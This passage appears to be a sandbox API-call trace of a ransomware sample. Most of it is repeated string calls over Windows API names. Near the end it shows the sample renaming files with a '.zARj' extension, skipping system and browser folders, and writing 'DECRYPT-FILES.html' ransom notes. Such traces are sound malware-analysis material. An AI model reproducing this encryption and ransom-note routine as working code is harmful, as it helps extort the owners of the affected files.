lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.858] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.858] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.858] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.858] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.858] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.858] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.858] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.859] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.859] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.859] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.859] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.859] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.859] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.859] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.859] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.859] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.859] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.859] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.859] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.859] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.859] lstrlenA (lpString="COPYFILE2") returned 9 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.859] lstrlenA (lpString="COPYFILEA") returned 9 [0118.859] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.860] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.860] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.860] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.860] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.860] lstrlenA (lpString="COPYFILEW") returned 9 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.860] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.860] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.860] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.860] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.860] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.860] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.860] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.860] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.860] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.860] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.860] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.861] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.861] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.861] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.861] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.861] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.861] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.861] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.861] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.861] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.861] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.861] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.861] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.861] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.861] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.861] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.862] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.862] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.862] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.862] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.862] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.862] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.862] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.862] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.862] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.935] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.935] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.935] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.935] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.935] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.936] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.936] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.936] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.936] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.936] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.936] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.936] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.936] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.936] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.936] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.936] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.936] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.936] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.936] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.936] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.936] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.936] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.937] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.937] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.937] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.937] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.937] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.937] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.937] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.937] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.937] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.937] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.937] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.937] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.937] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.937] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.937] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.937] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.937] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.938] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.938] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.938] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.zARj") returned 50 [0118.938] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.zARj" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.zarj"), dwFlags=0x0) returned 1 [0118.938] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.939] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.939] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.939] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0118.939] FindClose (in: hFindFile=0x3b810c0 | out: hFindFile=0x3b810c0) returned 1 [0118.939] CloseHandle (hObject=0x528) returned 1 [0118.940] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0118.940] lstrcmpW (lpString1="1031", lpString2=".") returned 1 [0118.940] lstrcmpW (lpString1="1031", lpString2="..") returned 1 [0118.940] lstrcatW (in: lpString1="1031", lpString2="\\" | out: lpString1="1031\\") returned="1031\\" [0118.940] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1031\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch=":\\Windows") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\Program Files") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\Games\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\Tor Browser\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\ProgramData\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0118.940] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1031\\", lpSrch="\\All Users") returned 0x0 [0118.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0118.940] lstrlenW (lpString="eogwkz.dat") returned 10 [0118.940] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\\\eogwkz.dat") returned 38 [0118.940] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1031\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0118.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0118.942] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0118.942] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\\\DECRYPT-FILES.html") returned 46 [0118.942] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1031\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0118.945] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0118.946] CloseHandle (hObject=0x470) returned 1 [0118.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0118.946] lstrcatW (in: 